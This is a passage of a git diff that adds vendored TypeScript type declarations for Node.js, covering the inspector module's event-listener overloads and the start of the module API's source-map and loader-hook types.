'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + addListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + addListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + addListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + addListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + addListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + addListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + addListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + addListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + addListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + addListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + addListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + addListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + addListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + addListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + addListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + addListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + addListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + addListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + addListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + addListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + addListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + addListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + addListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + addListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + addListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + addListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + addListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + addListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: 'inspectorNotification', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextCreated', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextDestroyed', message: InspectorNotification): boolean; + emit(event: 'Runtime.executionContextsCleared'): boolean; + emit(event: 'Runtime.exceptionThrown', message: InspectorNotification): boolean; + emit(event: 'Runtime.exceptionRevoked', message: InspectorNotification): boolean; + emit(event: 'Runtime.consoleAPICalled', message: InspectorNotification): boolean; + emit(event: 'Runtime.inspectRequested', message: InspectorNotification): boolean; + emit(event: 'Debugger.scriptParsed', message: InspectorNotification): boolean; + emit(event: 'Debugger.scriptFailedToParse', message: InspectorNotification): boolean; + emit(event: 'Debugger.breakpointResolved', message: InspectorNotification): boolean; + emit(event: 'Debugger.paused', message: InspectorNotification): boolean; + emit(event: 'Debugger.resumed'): boolean; + emit(event: 'Console.messageAdded', message: InspectorNotification): boolean; + emit(event: 'Profiler.consoleProfileStarted', message: InspectorNotification): boolean; + emit(event: 'Profiler.consoleProfileFinished', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.addHeapSnapshotChunk', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.resetProfiles'): boolean; + emit(event: 'HeapProfiler.reportHeapSnapshotProgress', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.lastSeenObjectId', message: InspectorNotification): boolean; + emit(event: 'HeapProfiler.heapStatsUpdate', message: InspectorNotification): boolean; + emit(event: 'NodeTracing.dataCollected', message: InspectorNotification): boolean; + emit(event: 'NodeTracing.tracingComplete'): boolean; + emit(event: 'NodeWorker.attachedToWorker', message: InspectorNotification): boolean; + emit(event: 'NodeWorker.detachedFromWorker', message: InspectorNotification): boolean; + emit(event: 'NodeWorker.receivedMessageFromWorker', message: InspectorNotification): boolean; + emit(event: 'Network.requestWillBeSent', message: InspectorNotification): boolean; + emit(event: 'Network.responseReceived', message: InspectorNotification): boolean; + emit(event: 'Network.loadingFailed', message: InspectorNotification): boolean; + emit(event: 'Network.loadingFinished', message: InspectorNotification): boolean; + emit(event: 'NodeRuntime.waitingForDisconnect'): boolean; + emit(event: 'NodeRuntime.waitingForDebugger'): boolean; + on(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + on(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + on(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + on(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + on(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + on(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + on(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + on(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + on(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + on(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + on(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + on(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + on(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + on(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + on(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + on(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + on(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + on(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + on(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + on(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + on(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + on(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + on(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + on(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + on(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + on(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + on(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + on(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + on(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + on(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + on(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + on(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + on(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + once(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + once(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + once(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + once(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + once(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + once(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + once(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + once(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + once(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + once(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + once(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + once(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + once(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + once(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + once(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + once(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + once(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + once(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + once(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + once(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + once(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + once(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + once(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + once(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + once(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + once(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + once(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + once(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + once(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + once(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + once(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + once(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + prependListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + prependListener(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + prependListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + prependListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + prependListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + prependListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + prependListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + prependListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + prependListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + prependListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + prependListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + prependListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + prependListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + prependListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + prependListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + prependListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + prependListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + prependListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + prependListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + prependListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + prependListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + prependListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + prependListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + prependListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + prependListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + prependListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + prependListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + prependOnceListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + prependOnceListener(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + prependOnceListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + prependOnceListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + prependOnceListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + prependOnceListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + prependOnceListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + prependOnceListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + prependOnceListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + prependOnceListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + prependOnceListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + prependOnceListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + prependOnceListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + prependOnceListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + prependOnceListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + prependOnceListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + prependOnceListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + prependOnceListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + prependOnceListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + prependOnceListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + prependOnceListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + prependOnceListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + prependOnceListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + prependOnceListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + prependOnceListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + prependOnceListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + prependOnceListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + } + + export { + Session, + open, + close, + url, + waitForDebugger, + console, + InspectorNotification, + Schema, + Runtime, + Debugger, + Console, + Profiler, + HeapProfiler, + NodeTracing, + NodeWorker, + Network, + NodeRuntime, + }; +} + +/** + * The `node:inspector/promises` module provides an API for interacting with the V8 + * inspector. + * @since v19.0.0 + */ +declare module 'node:inspector/promises' { + export * from 'inspector/promises'; +} diff --git a/node_modules/@types/node/module.d.ts b/node_modules/@types/node/module.d.ts new file mode 100644 index 000000000000..4f386598fe72 --- /dev/null +++ b/node_modules/@types/node/module.d.ts @@ -0,0 +1,301 @@ +/** + * @since v0.3.7 + * @experimental + */ +declare module "module" { + import { URL } from "node:url"; + import { MessagePort } from "node:worker_threads"; + namespace Module { + /** + * The `module.syncBuiltinESMExports()` method updates all the live bindings for + * builtin `ES Modules` to match the properties of the `CommonJS` exports. It + * does not add or remove exported names from the `ES Modules`. + * + * ```js + * import fs from 'node:fs'; + * import assert from 'node:assert'; + * import { syncBuiltinESMExports } from 'node:module'; + * + * fs.readFile = newAPI; + * + * delete fs.readFileSync; + * + * function newAPI() { + * // ... + * } + * + * fs.newAPI = newAPI; + * + * syncBuiltinESMExports(); + * + * import('node:fs').then((esmFS) => { + * // It syncs the existing readFile property with the new value + * assert.strictEqual(esmFS.readFile, newAPI); + * // readFileSync has been deleted from the required fs + * assert.strictEqual('readFileSync' in fs, false); + * // syncBuiltinESMExports() does not remove readFileSync from esmFS + * assert.strictEqual('readFileSync' in esmFS, true); + * // syncBuiltinESMExports() does not add names + * assert.strictEqual(esmFS.newAPI, undefined); + * }); + * ``` + * @since v12.12.0 + */ + function syncBuiltinESMExports(): void; + /** + * `path` is the resolved path for the file for which a corresponding source map + * should be fetched. + * @since v13.7.0, v12.17.0 + * @return Returns `module.SourceMap` if a source map is found, `undefined` otherwise. + */ + function findSourceMap(path: string, error?: Error): SourceMap; + interface SourceMapPayload { + file: string; + version: number; + sources: string[]; + sourcesContent: string[]; + names: string[]; + mappings: string; + sourceRoot: string; + } + interface SourceMapping { + generatedLine: number; + generatedColumn: number; + originalSource: string; + originalLine: number; + originalColumn: number; + } + interface SourceOrigin { + /** + * The name of the range in the source map, if one was provided + */ + name?: string; + /** + * The file name of the original source, as reported in the SourceMap + */ + fileName: string; + /** + * The 1-indexed lineNumber of the corresponding call site in the original source + */ + lineNumber: number; + /** + * The 1-indexed columnNumber of the corresponding call site in the original source + */ + columnNumber: number; + } + /** + * @since v13.7.0, v12.17.0 + */ + class SourceMap { + /** + * Getter for the payload used to construct the `SourceMap` instance. + */ + readonly payload: SourceMapPayload; + constructor(payload: SourceMapPayload); + /** + * Given a line offset and column offset in the generated source + * file, returns an object representing the SourceMap range in the + * original file if found, or an empty object if not. + * + * The object returned contains the following keys: + * + * The returned value represents the raw range as it appears in the + * SourceMap, based on zero-indexed offsets, _not_ 1-indexed line and + * column numbers as they appear in Error messages and CallSite + * objects. + * + * To get the corresponding 1-indexed line and column numbers from a + * lineNumber and columnNumber as they are reported by Error stacks + * and CallSite objects, use `sourceMap.findOrigin(lineNumber, columnNumber)` + * @param lineOffset The zero-indexed line number offset in the generated source + * @param columnOffset The zero-indexed column number offset in the generated source + */ + findEntry(lineOffset: number, columnOffset: number): SourceMapping; + /** + * Given a 1-indexed `lineNumber` and `columnNumber` from a call site in the generated source, + * find the corresponding call site location in the original source. + * + * If the `lineNumber` and `columnNumber` provided are not found in any source map, + * then an empty object is returned. + * @param lineNumber The 1-indexed line number of the call site in the generated source + * @param columnNumber The 1-indexed column number of the call site in the generated source + */ + findOrigin(lineNumber: number, columnNumber: number): SourceOrigin | {}; + } + interface ImportAttributes extends NodeJS.Dict { + type?: string | undefined; + } + type ModuleFormat = "builtin" | "commonjs" | "json" | "module" | "wasm"; + type ModuleSource = string | ArrayBuffer | NodeJS.TypedArray; + interface GlobalPreloadContext { + port: MessagePort; + } + /** + * @deprecated This hook will be removed in a future version. + * Use `initialize` instead. When a loader has an `initialize` export, `globalPreload` will be ignored. + * + * Sometimes it might be necessary to run some code inside of the same global scope that the application runs in. + * This hook allows the return of a string that is run as a sloppy-mode script on startup. + * + * @param context Information to assist the preload code + * @return Code to run before application startup + */ + type GlobalPreloadHook = (context: GlobalPreloadContext) => string; + /** + * The `initialize` hook provides a way to define a custom function that runs in the hooks thread + * when the hooks module is initialized. Initialization happens when the hooks module is registered via `register`. + * + * This hook can receive data from a `register` invocation, including ports and other transferrable objects. + * The return value of `initialize` can be a `Promise`, in which case it will be awaited before the main application thread execution resumes. + */ + type InitializeHook = (data: Data) => void | Promise; + interface ResolveHookContext { + /** + * Export conditions of the relevant `package.json` + */ + conditions: string[]; + /** + * An object whose key-value pairs represent the assertions for the module to import + */ + importAttributes: ImportAttributes; + /** + * The module importing this one, or undefined if this is the Node.js entry point + */ + parentURL: string | undefined; + } + interface ResolveFnOutput { + /** + * A hint to the load hook (it might be ignored) + */ + format?: ModuleFormat | null | undefined; + /** + * The import attributes to use when caching the module (optional; if excluded the input will be used) + */ + importAttributes?: ImportAttributes | undefined; + /** + * A signal that this hook intends to terminate the chain of `resolve` hooks. + * @default false + */ + shortCircuit?: boolean | undefined; + /** + * The absolute URL to which this input resolves + */ + url: string; + } + /** + * The `resolve` hook chain is responsible for resolving file URL for a given module specifier and parent URL, and optionally its format (such as `'module'`) as a hint to the `load` hook. + * If a format is specified, the load hook is ultimately responsible for providing the final `format` value (and it is free to ignore the hint provided by `resolve`); + * if `resolve` provides a format, a custom `load` hook is required even if only to pass the value to the Node.js default `load` hook. + * + * @param specifier The specified URL path of the module to be resolved + * @param context + * @param nextResolve The subsequent `resolve` hook in the chain, or the Node.js default `resolve` hook after the last user-supplied resolve hook + */ + type ResolveHook = ( + specifier: string, + context: ResolveHookContext, + nextResolve: ( + specifier: string, + context?: ResolveHookContext, + ) => ResolveFnOutput | Promise, + ) => ResolveFnOutput | Promise; + interface LoadHookContext { + /** + * Export conditions of the relevant `package.json` + */ + conditions: string[]; + /** + * The format optionally supplied by the `resolve` hook chain + */ + format: ModuleFormat; + /** + * An object whose key-value pairs represent the assertions for the module to import + */ + importAttributes: ImportAttributes; + } + interface LoadFnOutput { + format: ModuleFormat; + /** + * A signal that this hook intends to terminate the chain of `resolve` hooks. + * @default false + */ + shortCircuit?: boolean | undefined; + /** + * The source for Node.js to evaluate + */ + source?: ModuleSource; + } + /** + * The `load` hook provides a way 